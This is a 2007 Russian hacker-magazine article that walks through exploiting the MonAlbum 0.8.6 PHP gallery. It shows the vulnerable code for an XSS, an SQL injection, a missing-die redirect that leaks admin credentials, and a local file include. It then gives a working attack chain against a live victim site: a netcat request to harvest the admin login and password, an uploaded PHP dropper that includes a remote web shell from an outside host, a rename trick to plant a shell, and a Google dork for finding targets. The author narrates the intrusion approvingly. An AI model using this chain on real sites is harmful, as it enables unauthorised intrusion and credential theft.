Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #107, НОЯБРЬ 2007 г.

Детские ошибки MonAlbum

Gasoid «Stefun» Rich

Хакер, номер #107, стр. 107-078-1

(gasoid@gmail.com)

Находим баги в семейном фотоальбоме

«Да ты хакер», – часто говорят мне знакомые и друзья. Но никто из них и не догадывается, как трудно стать матерым взломщиком и сколько надо прочитать, просмотреть исходников, чтобы наконец-то найти свой первый баг! У меня за спиной, конечно же, не один баг, но я с радостью готов вспомнить молодость и показать тебе последовательность анализа популярного самописного движка. Готов? Тогда погружаемся в плавание!

Предыстория

Как-то раз ко мне в аську постучался знакомый и попросил найти уязвимость на одном сайте (приводить название сайта я не буду). На ресурсе находилось несколько страничек и форум - в общем, ничего особенного я там не нашел. Сайт был написан на PHP с поддержкой SQL, на движок пока не хотелось тратить время, и я продолжил чисто поверхностное исследование.

На сайте находился какой-то блог, но толку от него практически не было. Там же стояла непонятная фотогалерея MonAlbum версии 0.8.6. Я решил ее исследовать и найти ошибки в коде. Собственно, всем известно, что безошибочных скриптов не бывает, просто надо очень внимательно изучать каждую часть кода. Таким образом я и решил найти баг (что мне в дальнейшем и удалось :)).

Осмотр пациента

Все мы любим свежие баги в популярных скриптах, тем более когда мы их сами находим. А еще приятнее, когда эти баги обнаруживаются в скриптах, установленных на раскрученных сайтах :). Для успешной реализации задуманного мне пришлось скачать MonAlbum к себе на комп. Для этого я воспользовался поисковой системой www.google.ru – это, на мой взгляд, самый лучший хакерский поисковик, о его возможностях не раз писали в «Хакере». Но, как говорится, на вкус и цвет товарищей нет. Так что юзай то, что предпочитаешь ты.

PHP-скрипт галереи представлял собой фотогалерею с поддержкой базы данных MySQL. Скрипт этот на просторах рунета не очень популярен, но в Западной Европе таких сайтов много, особенно в зоне .de.

Я скачал последнюю версию скрипта 0.8.6. Лучше экспериментировать локально, поэтому на Винде я использую для этих целей Denwer (хотя можно довериться и аналогичному по функциям TopServer’у).

Распаковав архив, я увидел следующие файлы/папки: _doc, admin, conf, css, images, img, lang, lib, admin.php, image_agrandir.php, image_description.php, index.php, install.php. Для установки движка я открыл в браузере файл install.php. Потом, бегло просмотрев файл index.php (я открыл его первым, потому что он index), я ничего особенного не обнаружил и перешел к следующему файлу image_agrandir.php. И тут удача мне улыбнулась - я нашел первую XSS:

echo "<html><head>";

if ($slide && $nextimage) {

echo"<META HTTP-EQUIV=REFRESH CONTENT="$slide;URL=image_agrandir.php?id_image=$id_rub_sup&slide=$slide">";

}

echo "<link rel=stylesheet type='text/css' href='css/album.css'><title>$gsite</title></head><body bgcolor='$gpage'>";

Переменные $slide и $nextimage перед приведенным кодом не фильтровались. Но это, к большому сожалению, особо ничего не давало. Поэтому я перешел к просмотру админки, и меня сразу же порадовал скрипт admin/admin_affrech_rub.php

echo "<br><b>"._LIST_OF_DIR."</b> : <br>";

$prubrique = $_POST["prubrique"];

if (isset($prubrique)&&$prubrique!="") {

$result = execute_requete("select id_rub , nom from monalbum_rubrique where nom like "$prubrique%" order by nom");

Ура! SQL-injection! Но для эксплуатации нужны были права админа, а их еще надо было получить! Для проверки своих догадок я протестил эту sql-инъекцию локально:

>nc 127.0.0.1 80

POST /admin/admin_affrech_rub.php HTTP/1.1

HOST: alb

Content-Length: 15

prubrique=llk'

И получил интересный ответ. По идее, после заголовков сервера никаких данных быть не должно, так как браузер сразу же переходт по значению хедера Location. Но вопреки моим ожиданиям...

HTTP/1.1 302 Found

Date: Fri, 29 Jun 2007 11:21:21 GMT

Server: Apache/1.3.33 (Win32) PHP/4.4.4

X-Powered-By: PHP/4.4.4

Set-Cookie: PHPSESSID=a70b5b2705f20a83dc5164532e9c833f; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Location: http://alb/admin/login_page.php

...

<html><head><link rel=stylesheet type='text/css' href='../css/album.css'></head>

<body bgcolor='FFFFFF'><table border=0 cellspacing=3 width=600><tr><td bgcolor=#

999999 width=100%><table border=0 cellspacing=0 cellpadding=3 width=100%><tr><td

bgcolor=#DEDEDE><center>Search for directories</center></td></tr></table></tabl

e><br><form method='post' action=admin_affrech_rub.php><input type="hidden" name

="PHPSESSID" value="426d84db7a48c04a98ca485837fbdd5e" />

</td><td><input type='text' name='prubrique'>

<input type='submit' value='Search'>

</form><br><b>List of folders</b> : <br>><a href=admin_ajouter_ru

b.php?id_rub=1&PHPSESSID=426d84db7a48c04a98ca485837fbdd5e>444</a><br>><a href=ad

min_ajouter_rub.php?id_rub=0&PHPSESSID=426d84db7a48c04a98ca485837fbdd5e>Tmp</a><

br> <br><br><b>2</b> results</body></html>

«Вот это да!» - подумал я. Хотя в ответе сервера и нет указания на ошибку в запросе, но ясно, что скрипт выполняется дальше, даже если нет прав админа. А значит, надо найти файл, отвечающий за ввод или вывод настроек. И вот тот самый файл admin/admin_configuration.php. Смотрим дальше и видим следующее:

include("./secure.php"); //инклудим файл secure.php

$glangage = $_POST['glangage']; //язык, вот здесь интересно

if (!isset($glangage)) include("../conf/config.inc.php"); // inclut pas qd sauvegarde, ну здесь конфиг инклудится

include ("../lib/album.inc"); // какая-то библиотека

include_once("../lang/$glangage"); // локальный инклуд!

$mod = $_POST['mod'];

//дальше идет вывод настроек MonAlbum...

Вот ключик к админке! Теперь получить шелл на сайте было делом техники. Что касается файла secure.php, то в нем не было ничего, кроме:

session_start();

if (!isset($_SESSION['name']))

header ("Location:

http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/login_page.php");

Код всего лишь перенаправлял юзера, если тот был не в сессии администратора. Самое интересное, что в коде отсутствовали инструкции die() и exit, хотя по соображениям безопасности они должны были быть! Остальные инклуд-файлы, судя по их названиям (../conf/config.inc.php, ../lib/album.inc), не представляли интереса.

Строчка «include_once("../lang/$glangage")», расположенная в файле admin_configuration.php, не должна была вызвать какие-то проблемы, даже если $_POST['glangage'] ссылался бы на несуществующий файл (можно считать, что это локальный include-баг). Вместе с отсутствием die это были два очень серьезных бага.

Напутствие перед боем!

Итак, благодаря поверхностному изучению движка, мы имеем возможность просмотреть все настройки скрипта, включая логин и пасс админа, а также данные для подключения к БД, потому как скрипт продолжает выполняться после перенаправления браузера (хидер Location). Теперь попробуем, заюзать баг на практике. Но уже не локально, а удаленно, выбрав себе жертву через Google.

Эксплуатация бага

И вот я придумал, как залить шелл, что оказалось очень просто. Но все по порядку. Сначала надо получить доступ к админке. Делаем следующее:

>nc www.victim.ru 80

GET /monalbum/admin/admin_configuration.php HTTP/1.1

HOST: www.victim.ru

После этого HTTP-запроса сервер выполнит PHP-скрипт admin_configuration.php. Тот вернет HTML-код, который будет объединен с ответом сервера. В куче HTML-кода есть password и login админа. Нашел? Молодец! Теперь заходим в админку www.victim.ru/monalbum/admin.php. И заливаем на сервак следующий файл:

<?php

$f=fopen("../images/sh.php","w");

fputs($f,"<?php include("http://my_site/sh.txt");?>");

fclose($f);

die("yeah!");

?>

Здесь, как ты сам догадался, sh.txt - твой любимый PHP-шелл. После закачки я получил кучу предупреждений по поводу невозможности определить разрешение файла, тип картинки и т.д., но файл успешно сохранился в папке /images.

Дальше заходим браузером на admin/admin_configuration.php, сохраняем страницу на жесткий диск, удаляем из паги <input type="hidden" name="mod"> и меняем <select name="glangage">, а точнее, значение одного из <option> на название нашего файла «../images/sh.jpg» (не забудь изменить параметр action формы корректным значением).

Теперь перезагружаем страничку, выбираем нужный нам язык и отправляем форму на сервер. Но это не получится, если в настройках запрещен удаленный инклуд файлов. В случае такого досадного рестрикта, поступим следующим образом:

Приготовим два файла. Первый - sh1.jpg:

<?php

system("mv ../images/sh2.jpg ../images/xxx.php");

die();

?>

И sh2.jpg - сам шелл.

Файл sh1.jpg после обращения к нему должен переименовать sh2.jpg в xxx.php. Залив их обоих на сервер жертвы описанным выше способом, воспользуемся инклудом, и скрипт сработает!

Зайдя на пагу www.victim.com/monalbum/images/xxx.php, я увидел долгожданную картину. Но потом испугался, что придется отвечать за содеянное, и ушел со страницы восвояси. И при этом я не забыл удалить все лишние файлы, кроме самого нужного. Потом было пиво, водка, девушки, защита диплома, а главное – свобода! В общем, все остались довольны, и никто не пострадал :).

INFO

К твоему сведению, на запрос «Powered by MonAlbum site:.de inurl:index.php» Гугл выдал мне кучу сайтов.

Счастливым владельцам галереи MonAlbum я бы порекомендовал пропатчить файл secure.php либо полностью отказаться от этого скрипта.

DANGER

Эта статья написана в помощь администраторам и авторам всевозможных PHP-скриптов с целью указать им на их возможные ошибки. За использование информации в незаконных целях редакция и автор ответственности не несут.

WWW

По ссылке http://d4rkevil.org/sploit.html можно найти сплоит для этой уязвимости. Сплоит до написания статьи находился в строжайшем привате, но для тебя мы откроем этот «железный занавес».

Последняя версия скрипта 0.8.6с доступна на сайте www.3dsrc.com/monalbum.

VIDEO

На нашем DVD ищи познавательный видеоурок, эксплуатирующий досадную уязвимость.

DVD

На диске ищи последнюю версию MonAlbum, мой элитный WebShell, скрипты, которые помогли мне моем в нелегком деле, а также NetCat, Denwer и TopServer для организации локального плацдарма.

Содержание
ttfb: 3.9222240447998 ms